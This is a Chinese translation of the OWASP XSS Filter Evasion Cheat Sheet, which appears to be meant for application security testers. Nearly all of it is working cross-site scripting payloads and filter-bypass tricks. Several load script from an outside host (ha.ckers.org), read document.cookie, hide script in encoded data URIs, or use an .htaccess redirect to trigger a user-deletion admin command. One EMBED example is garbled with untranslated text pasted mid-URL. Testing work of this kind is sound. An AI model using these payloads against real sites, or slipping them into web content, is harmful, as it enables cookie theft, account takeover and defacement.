OWASP Cheat Sheet Series翻译项目

XSS过滤绕过备忘单

2014-01-04 23:26
介绍
本文的重点是为应用安全测试专业人员提供XSS测试指导和帮助。本文一开始是由RSnake捐给OWASP的(原始地址:http://ha.ckers.org/xss.html,目前这个地址已经跳转到本文),我们将继续维护和更新它。最早的备忘单 the XSS (Cross Site Scripting) Prevention Cheat Sheet的灵感就来自RSnake的这篇文章,这值得我们对他表示感谢。我们想创建一些简短的指南来帮助开发者抵御XSS攻击,而非简单的告诉开发人员创建一个能够抵御所有复杂变形的攻击备忘单内所有情况的应用程序,因此诞生了 OWASP Cheat Sheet Series 。
测试
这个备忘单是为已经有XSS攻击基本知识,想要深入理解XSS绕过细微差别的人准备的。
请注意,多数XSS攻击脚本适用的浏览器已经在脚本下面列出。
XSS探测器Locator
多数情况下,包含XSS弹出框的XSS攻击向量代码容易被检测到。使用下面这个字符串注入,能够成功的弹出“XSS”对话框。使用URL编码工具(http://ha.ckers.org/xsscalc.html )转码整个字符串实体。提示:如果你需要快速检查一个页面,通常适用“<PLAINTEXT>”标签就足够了。通过检查页面是否被搞乱,就能发现是否有XSS漏洞。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

XSS探测器2 locator 2
在你不能输入太多字符,同时你也知道页面上没有有缺陷的JavaScript代码的情况下,下面的字符串是一个你可以使用的不错的XSS注入检测代码。注入此字符串后,通过查看页面源代码,查找<XSS或&lt;XSS字符,来确认这个页面是否有漏洞:
'';!--"<XSS>=&{()}

无过滤绕过No Filter Evasion
这是一个常见的XSS JavaScript注入,通常会被开发者屏蔽,但是我建议先试一试(引号在现代浏览器中是不需要的,所以在这里省略掉了):
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

在图像标签中使用JavaScript XSS指令
在图像标签中使用XSS指令(IE7.0在图片的上下文种不支持JS指令,但是在其他上下文中支持),下面的代码在其他标签中也可以执行:
<IMG SRC="javascript:alert('XSS');">

没有引号和分号
<IMG SRC=javascript:alert('XSS')>

不区分大小写的XSS攻击向量
<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML实体
如果分号没有被过滤,下面的代码就可以工作:
<IMG SRC=javascript:alert(&quot;XSS&quot;)>

反引号混淆
如果你需要使用单引号和双引号,你可以使用反引号来封装JS字符串——这是非常有用的,因为很多XSS过滤器不知道反引号有此作用:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

A标签变种
不使用HREF属性并引发XSS攻击。David Cross提交并在Chrome浏览器做了验证。
<a onmouseover="alert(document.cookie)">xxs link</a>
Chrome喜欢帮你补全缺失的引号…如果你遇到引号问题,只需要去掉引号,Chrome会在正确的位置添加他们,修复你在URL或脚本缺失引号的问题。
<a onmouseover=alert(document.cookie)>xxs link</a>
IMG标签变种
Begeek最先发现这个问题(没有在所有浏览器做清理和缩短的工作) ,这种XSS攻击向量使用简单的渲染引擎在一个压缩的包含双引号的IMG标签内创建我们的XSS攻击向量。我猜测这最初是为了正确的编码。这将让它难以正确的解析HTML标记:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode
如果不允许任何形式的引号,你可以执行fromCharCode来创建你需要的XSS攻击向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

使用默认SRC标记绕过SRC域名检查
这会绕过大多数SRC域名过滤。在事件方法中插入JS同样适用于任何HTML标记类型的注射,如Form、Iframe、Input、Embed等。同样任何标记类型的相关事件都能被替换,如onblur、onclick,它们能让你“创造”出大量的如下的变种。
<IMG SRC=# onmouseover="alert('xxs')">

让SRC标签默认值为空
<IMG SRC= onmouseover="alert('xxs')">

直接不写SRC标签
<IMG onmouseover="alert('xxs')">

十进制的HTML字符引用
所有使用javascript的示例:在Firefox或Netscape8.1+(使用Gecko渲染引擎)浏览器上,<IMG标签内的指令都不会生效。你可以使用XSS计算器来获取更多信息:
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

不使用分号的十进制HTML字符引用
尝试在XSS攻击中使用"&#XX;"通常十分有效,因为大多数人不知道填充7个数字字符的作用。这在防止用户解码类似$tmp_string =~ s/.*&#(d+);.*/$1/;的字符方面也很有用,很多用户会错误的假设:分号是终止html编码的字符串的“必需品”(我就曾遇到过这种“极品”~):
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

不使用分号的十六进制的HTML字符引用
这和上面的XSS攻击方法类似,同样会逃脱对$tmp_string =~ s/.*&#(d+);.*/$1/;这类字符串的解码操作。假定在英镑符后面有数字字符,这在十六进制的HTML字符中是不成立的。你可以使用XSS calculator 获得更多信息。
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

嵌入制表符
用它进行攻击的脚本代码(jav与ascript之间是一个制表符):
<IMG SRC="jav     ascript:alert('XSS');">

嵌入被编码的制表符
使用这个代码来进行XSS攻击 :
<IMG SRC="jav&#x09;ascript:alert('XSS');">

嵌入新行来执行XSS
一些网站称任何09~13(十进制)字符都能在攻击中生效。这是不正确的。只有09(横表符)、10(换行符)和12(回车符)能起作用。你可以通过查看ASCII码表来获取更多信息。下面就是这种攻击向量的示例:
<IMG SRC="jav&#x0A;ascript:alert('XSS');">

嵌入回车符来执行XSS
(注:我们会给这些字符串添加一些可有可无的零字符,这些零字符是会被浏览器省略的。我发现很多过滤器假定16进制和12进制编码必须是2~3个字符。其实正确的规则是1~7个字符):
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

JavaScript空截断指令
Null字符也被当成XSS攻击向量来使用,但和上面所介绍的不同。你需要使用Burp Proxy或在URL中使用%00来直接注入,或者使用自己的编写注入工具、VIM或下面的代码来产生一个带Null字符的字符串。旧版本的Opera(windows版本的7.11)容易受到hypen控制符的影响,但与之相比,空字符%00更有用,他能够帮助我绕过现有的某些过滤器:
perl -e 'print "<IMG SRC=javascript:alert("XSS")>";' > out

图片标签中空格和元字符出现在JavaScript前的XSS攻击。
如果模式匹配不考虑在“javascript:”周围的空格——由于它不会被渲染,我们做一个错误的假定:在引号和javascript:关键字之间不会有空格。实际的情况则是你能使用ASCII码值为1~32的任何字符:
<IMG SRC=" &#14;  javascript:alert('XSS');">

非字母或数字字符的XSS
Firefox浏览器的HTML解析器会假定一个非字符或非数字字符出现在HTML关键字后是无效的,并把它们当成空格。问题是一些XSS过滤器假设他们寻找的标签是被空格分隔的。例如:“<SCRIPTs" != "<SCRIPT/XSSs”:
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

基于上述想法,可以使用Rnake fuzzier进行扩展。Gecko渲染引擎允许把除字母、数字或封装字符(如引号、括号等)之外的任何字符放在事件处理器和等号之间,这让绕过XSS变得更加容易。请注意,这里使用重音符也同样是可以的:
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")>

Yair Amit告诉我,在IE和Gecko渲染引擎之间有一些细微的表现差异,后者允许在标签和参数之间使用反斜杠来代替空格。
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

无关的开括号Extraneous open brackets
这是由Franz Sedlmaier提交的,这个XSS攻击向量能够击败某些首先匹配开关括号,然后比较内部标记,而不是使用更有效地算法(如Boyer-Moore)来查找整个开放的尖括号和标签内的字符进行匹配,的检测引擎。双斜杠能够抑制一个未闭合标签的JavaScript错误:
<<SCRIPT>alert("XSS");//<</SCRIPT>

未闭合的脚本标签
在Firefox和Netscape 8.1这类Gecko渲染引擎模式下,你的攻击向量实际上不需要"></SCRIPT>”部分。Firefox会假定为你闭合HTML标签和添加闭合标签是安全的。 多体贴:(!与下面的这行不影响Firefox的代码不同,它不需要在后面添加多余的HTML代码。如有需要,你可以添加引号,当然,这通常是不需要的。但你仍然要自己去鼓捣下面的代码,因为我不知道HTML会不会像之前测试的那样被成功的注射:
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

脚本协议问题
这个变体是有Łukasz Pilorz提交的,部分基于Ozh的绕过方法。这个XSS示例在IE、IE渲染模式的Netscape和Opera下运行。然而,这在空间是个问题的情况下是很有用的。当然,你的域名越短越好。无论编码类型是什么,.j都是有效的,因为浏览器在SCRIPT标签的上下文中能得到有用的信息。
<SCRIPT SRC=//ha.ckers.org/.j>

未闭合的HTML/JavaScript XSS攻击向量
与Firefox不同,IE渲染引擎不会在页面上添加额外的数据,但是IE允许在图片上添加javascript指令。这在攻击中十分有用,因为它不需要尖括号。它假定当你进行XSS攻击时,有HTML标签在攻击向量下面。即使没有关闭标签”>”,浏览器也会闭合它。注意:HTML的表现无法确定,这取决于何种HTML标签在它下面。所有地方都是NIDS正则表达式:/((%3D)|(=))[^n]*((%3C)|<)[^n]+((%3E)|>)/ ,因为它不需要结束标签“>”。请注意:也可以使用未闭合的<IFRAME替换<IMG来绕过XSS过滤器。:
<IMG SRC="javascript:alert('XSS')"

两个未闭合的尖括号
在攻击向量末尾,使用一个未闭合的尖括号来代替一个闭合尖括号,能在不同的Netscape Gecko渲染引擎内呈现不同的行为。Firefox能够正常解析,但Netscape不能:
<iframe src=http://ha.ckers.org/scriptlet.html <

绕过JavaScript的转义
当应用程序输出用户的信息写出到JavaScript内,如 <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> ,你想将你的JavaScript脚本插入到这里,但服务端应用程序转移了引号,你可以通过转义他们的转义字符来绕过。当注入发生时,它将读取<SCRIPT>var a="\";alert('XSS');//";</SCRIPT>,这会反转义双引号,从而引发XSS攻击。XSS定位器使用这种方法:
";alert('XSS');//

TITLE结束标签
这是个简单的闭合<TITLE>标签的XSS攻击向量。它可以封装XSS攻击
</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image
<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc
在IE6下测试成功。
<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc
在IE6下测试成功。
<IMG LOWSRC="javascript:alert('XSS')">

List-style-image
符号列表嵌入图片是一个相当深奥的问题。这只会在IE渲染引擎中生效,因为JavaScript指令只能在IE内执行。并不是一个特别有用的XSS攻击向量:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

image标签内的VBscript
<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (Netscape的旧版本才可以)
<IMG SRC="livescript:[code]">

BODY 标签
Body标签内的方法不需要使用任何"javascript:”或"<SCRIPT…”变种。来完成XSS攻击。Dan Crowley另外指出你可以在等号前添加空格("onload=" != "onload =“):
<BODY ONLOAD=alert('XSS')>

Event处理
它可以被用在类似上面所说的所有的XSS攻击上(这是目前为止网上最全面的列表)。感谢Rene Ledosquet的更新
Dottoro Web Reference 也有一个漂亮的JavaScript事件详单
FSCommand() (attacker can use this when executed from within an embedded Flash object)
onAbort() (when user aborts the loading of an image)
onActivate() (when object is set as the active element)
onAfterPrint() (activates after user prints or previews print job)
onAfterUpdate() (activates on data object after updating data in the source object)
onBeforeActivate() (fires before the object is set as the active element)
onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with theexecCommand("Copy") function)
onBeforeCut() (attacker executes the attack string right before a selection is cut)
onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
onBeforeUpdate() (activates on data object before updating data in the source object)
onBegin() (the onbegin event fires immediately when the element's timeline begins)
onBlur() (in the case where another popup is loaded and window looses focus)
onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
onCellChange() (fires when data changes in the data provider)
onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
onClick() (someone clicks on a form)
onContextMenu() (user would need to right click on attack area)
onControlSelect() (fires when the user is about to make a control selection of the object)
onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
onDataSetChanged() (fires when the data set exposed by a data source object changes)
onDataSetComplete() (fires to indicate that all data is available from the data source object)
onDblClick() (user double-clicks a form element or a link)
onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
onDrag() (requires that the user drags an object)
onDragEnd() (requires that the user drags an object)
onDragLeave() (requires that the user drags an object off a valid location)
onDragEnter() (requires that the user drags an object into a valid location)
onDragOver() (requires that the user drags an object into a valid location)
onDragDrop() (user drops an object (e.g. file) onto the browser window)
onDragStart() (occurs when user starts drag operation)
onDrop() (user drops an object (e.g. file) onto the browser window)
onEnd() (the onEnd event fires when the timeline ends.
onError() (loading of a document or image causes an error)
onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
onFilterChange() (fires when a visual filter completes state change)
onFinish() (attacker can create the exploit when marquee is finished looping)
onFocus() (attacker executes the attack string when the window gets focus)
onFocusIn() (attacker executes the attack string when window gets focus)
onFocusOut() (attacker executes the attack string when window looses focus)
onHashChange() (fires when the fragment identifier part of the document's current address changed)
onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
onInput() (the text content of an element is changed through the user interface)
onKeyDown() (user depresses a key)
onKeyPress() (user presses or holds down a key)
onKeyUp() (user releases a key)
onLayoutComplete() (user would have to print or print preview)
onLoad() (attacker executes the attack string after the window loads)
onLoseCapture() (can be exploited by the releaseCapture() method)
onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
onMessage() (fire when the document received a message)
onMouseDown() (the attacker would need to get the user to click on an image)
onMouseEnter() (cursor moves over an object or area)
onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
onMouseMove() (the attacker would need to get the user to mouse over an image or table)
onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
onMouseOver() (cursor moves over an object or area)
onMouseUp() (the attacker would need to get the user to click on an image)
onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
onMove() (user or attacker would move the page)
onMoveEnd() (user or attacker would move the page)
onMoveStart() (user or attacker would move the page)
onOffline() (occurs if the browser is working in online mode and it starts to work offline)
onOnline() (occurs if the browser is working in offline mode and it starts to work online)
onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
onPopState() (fires when user navigated the session history)
onProgress() (attacker would use this as a flash movie was loading)
onPropertyChange() (user or attacker would need to change an element property)
onReadyStateChange() (user or attacker would need to change an element property)
onRedo() (user went forward in undo transaction history)
onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
onReset() (user or attacker resets a form)
onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
onRowsEnter() (user or attacker would need to change a row in a data source)
onRowExit() (user or attacker would need to change a row in a data source)
onRowDelete() (user or attacker would need to delete a row in a data source)
onRowInserted() (user or attacker would need to insert a row in a data source)
onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
onSelectionChange() (user needs to select some text - attacker could auto initialize with something like:window.document.execCommand("SelectAll");)
onSelectStart() (user needs to select some text - attacker could auto initialize with something like:window.document.execCommand("SelectAll");)
onStart() (fires at the beginning of each marquee loop)
onStop() (user would need to press the stop button or leave the webpage)
onStorage() (storage area changed)
onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
onSubmit() (requires attacker or user submits a form)
onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
onTrackChange() (user or attacker changes track in a playList)
onUndo() (user went backward in undo transaction history)
onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript includes
<BR SIZE="&{alert('XSS')}">

样式表
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

远程样式表
(使用简单的远程样式表这类的东西可以将XSS作为样式参数,重新定义嵌入表达式)这只能在IE和使用IE渲染引擎模式的Netscape8.1+中起作用。引入JavaScript后,你可能会发现没有任何东西会展现在页面上,这时你要格外注意:所有这些使用body标签的远程样式表示例都不会在仅包含攻击向量的空白页面执行。如果是空白页,你需要网页面上添加一个字母,从而让攻击向量生效:
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

远程样式表第2部分
这个和上面的效果类似,但使用 <STYLE>标签来代替<LINK>标签。与此攻击向量稍有不同的是,这个攻击向量被用来攻击Google Desktop。注意:如果在攻击向量后面跟有HTML,你可以移除</STYLE>标签。这在你不能在XSS攻击中使用等号或引号时非常有用:
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

远程样式表第3部分
这只能工作在Opera 8.0版本 (9.x版本不再有效),但这非常有技巧性。根据RFC2616,设置一个链接的标题并非HTTP1.1规范的一部分,然而一些浏览器仍然允许这种操作(如Firefox和Opera)。这里的诀窍是我设置一个header头(基本上与HTTP header设置没有区别 <http://ha.ckers.org/xss.css>; REL=stylesheet),远程样式表和攻击向量是都会在JavaScript内运行(不支持Firefox浏览器):
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

远程样式表第4部分
这中攻击向量只能使用Gecko渲染引擎,通过绑定一个XUL文件到父页面来执行。具有讽刺意味的是Netscape假定Gecko是安全的,因此绝大多数网站都容易受到此类攻击:
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

样式标签内使用拆分的JavaScript
这个XSS常常会在IE中触发无限循环的alert弹窗:
<STYLE>@import'javascript:alert("XSS")';</STYLE>
 
使用注释来截断样式表属性内的表达式
Roman Ivanov发明了这种攻击向量
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

图片样式内使用表达式
这是一个混合的XSS攻击向量,但是它展示了很难被拆分的样式标签,如同上文提到的导致IE循环弹窗的攻击向量:
exp/*<A STYLE='noxss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

样式标签(只支持旧版本的Netscape)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

使用background-image属性的样式标签
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

使用background属性的样式标签
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
自定义HTML标签的样式属性
IE6.0和使用IE渲染模型的Netscape 8.1+不在乎HTML标签是否存在。只需要这个标签是尖括号开头并包含至少一个字母就可以了:
<XSS STYLE="xss:expression(alert('XSS'))">

本地htc文件
这和上面的两个XSS攻击向量不同,因为它使用了一个必须存在于与页面同一服务器的.htc文件。示例文件通过获取JavaScript并将它作为样式属性的一部分执行:
<XSS STYLE="behavior: url(xss.htc);">

US-ASCII编码
US-ASCII编码是Kurt Huwig发现的。这个攻击向量使用畸形的7位ASCII编码(正常是8位)。这种XSS攻击能绕过许多内容过滤,但只能在使用US-ASCII传输的站点下起作用(或者自己进行这种编码)。这在绕过应用防火墙过滤的情况下十分有用。Apache Tomcat是已知的唯一使用US-ASCII编码传输的服务器。
¼script¾alert(¢XSS¢)¼/script¾

META
元刷新的神奇之处在于它并不在header中发送referrer,因此,它可以被用来进行某些类型的需要不发送referrer地址的攻击:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data(元数据)
URL指令方案是很棒的,由于它使用base64编码,没有包含任何明显的脚本字符或JavaScript指令。你可以通过查看RFC 2397获取更多信息。你也可以使用XSS 计算器对你的HTML或JavaScript进行编码:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

带有多余的URL参数的META
如果目标站点试图校验URL是否以"http://“开头,你可以使用下面的技术绕过这种检查(Moritz Naumann提交):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME
如果页面允许iframes,同样有很多XSS问题:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME事件
IFrames和其他大多数元素可以使用事件机制进行破坏,如(David Cross提交):
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME
Frames面临同样的问题
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">

TD
与上面提到的相同,TD标签的BACKGROUND也能被插入JavaScript XSS攻击向量:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV
DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

DIV background-image包含unicode编码的XSS攻击向量
这是混淆URL参数的修改。这种攻击方法是由Renaud Lifchitz发现的:
<DIV STYLE="background-image:07507206C028'06a06107606107306307206907007403a06106c065072074028.1027058.1053053027029'029">

DIV background-image添加额外的字符
Rnaske建立了一个快速XSS模糊攻击的工具,来寻找在IE和安全模式下的Netscape8.1上,任何允许放在开括号之后JavaScript指令之前的错误字符。这些都是小数,但是你能写入16进制或其他填充字符(可以使用以下字符1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

DIV表达式
通过使用在冒号和”expression“之间写入换行等多种变体来绕过XSS过滤器:
<DIV STYLE="width: expression(alert('XSS'));">

Downlevel-Hidden块(IE的专用注释块)
尽在IE5.0及以上版本和使用IE渲染引擎模式的Netscape下有效。一些网站认为在注释内的内容是安全的,因此不需要移除。或者系统能够在页面某些部分添加注释标签,从而让它们失去有害性。如我们所知,这些操作(把内容注释掉的操作)可能是于事无补的:
<!--[if gte IE 4]>
 <SCRIPT>alert('XSS');</SCRIPT>
 <![endif]-->

BASE 标签
这在IE和Netscape8.1的安全模式下能起作用。你需要使用//注释掉下一个字符,避免JavaScript错误,从而让我们的XSS攻击向量正常执行。这也依赖于一个条件:网站图像使用相对地址如"images/image.jpg”,而非绝对地址。如果地址中包含了斜杠("/images/image.jpg”),你可以在XSS攻击向量中移除一个:
<BASE HREF="javascript:alert('XSS');//">

OBJECT 标签
如果页面允许object标签,你甚至可以在页面挂马。下面链接指向的文件是一个可以包含你的XSS代码的HTML文件(所以你不要害怕,你可以安全的用下面的代码进行测试):
 <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

使用EMBED标签嵌入一个包含XSS的Flash动画
如果你添加allowScriptAccess=“never"和allownetworking="internal”属性,可以减轻这种风险(感谢Jonathan Vanasco提供信息):
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>

你可以嵌入包含XSS攻击向量的SVG
这个例子只在Firefox下有效,但它比上面的攻击向量要好一些,因为这不需要用户安装或开启Flash(感谢nEUrOO提供):
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

使用ActionScript来混淆你的XSS攻击向量 
a="get";
b="URL("";
c="javascript:";
d="alert('XSS');")";
eval(a+b+c+d);

XML数据的CDDATA混淆
这种XSS攻击仅在IE和IE渲染引擎模式下的Netscape8.1起作用(Sec Consult在对Yahoo进行审计时发现了这个问题)::
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

引入同域的嵌入JavaScript的XML文件
这与上面的攻击向量相同,同域的XML文件嵌入了你的XSS攻击向量:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML+TIME in XML
这是Grey Magic黑掉Hotmail和Yahoo!的方法。这尽在IE和使用IE渲染引擎模式的Netscape下有效。你需要在HTML和BODY标签之间写入这些攻击代码:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>


假定你只能使用特定的字符或者只过滤“.js”
你可以将你的JavaScript文件命名为图片文件:
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>


SSI (服务端包含)
这需要在服务器上安装SSI,这样才能使用这个XSS攻击向量。我可能不需要提及这一中攻击方法,但如果攻击者可以在服务器上执行命令,这个安全问题肯定会更严重:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->


PHP
使用这个攻击向量需要服务器端已经安装了PHP。再次提醒,如果你能远程执行这个命令,那么服务器肯定已经沦陷了:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>


IMG嵌入命令
当页面存在注入时,这种情况会发生。这可以被用来做一些诸如删除用户、添加用户、像某个地方发送用户凭证等事情。这是很少被用到,但十分有用的XSS攻击向量:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">


IMG嵌入命令第2部分
这是一种更加可怕地攻击,因为没有看起来可以区别的标示符,而且它也不用放在被攻击者网站上。攻击向量使用302或304来跳转图片到一个命令地址。一个正常的<IMG SRC="">能够成为一个攻击工具,来执行相应的攻击命令。下面一个在Apache上的用来进行攻击的.htaccess文件的内容:
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser


Cookie篡改
我承认这是一种很隐蔽的攻击方式,但我曾经见过一些示例:页面允许<META标签,你可以用它来覆盖cookie。还有一些其他的示例:页面不是从数据库中取用户名,而是从cookie中读取。这两个场景相结合的情况下,你可以修改受害者的cookie,让你的XSS攻击向量可以在页面上执行(同样你可以用它来改变用户状态,让它们以你的身份登录等):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7编码
如果页面存在XSS并且没有提供页面编码或者浏览器设置为UTF-7编码,页面就能遭到这种攻击(感谢Roman Ivanov)。在现代浏览器中,除非修改编码类型,否则这种攻击是不会产生的(Watchfire在google的404脚本中发现了这个漏洞):
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

使用HTML引用封装的XSS
这在IE中测试过,你可能遇到的情况有所不同。如果站点允许"<SCRIPT>”标签,但不允许"<SCRIPT SRC...”标签(过滤方式为"/<script[^>]+src/i"),这种攻击向量就派上用场了:
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

如果页面过滤规则为"/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i”(这种规则十分常见):
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

另一种绕过这种过滤规则( "/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i”)攻击向量:
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

还有一种绕过过滤规则为"/<script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'">s]+))?)+s*|s*)src/i”的攻击向量:
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

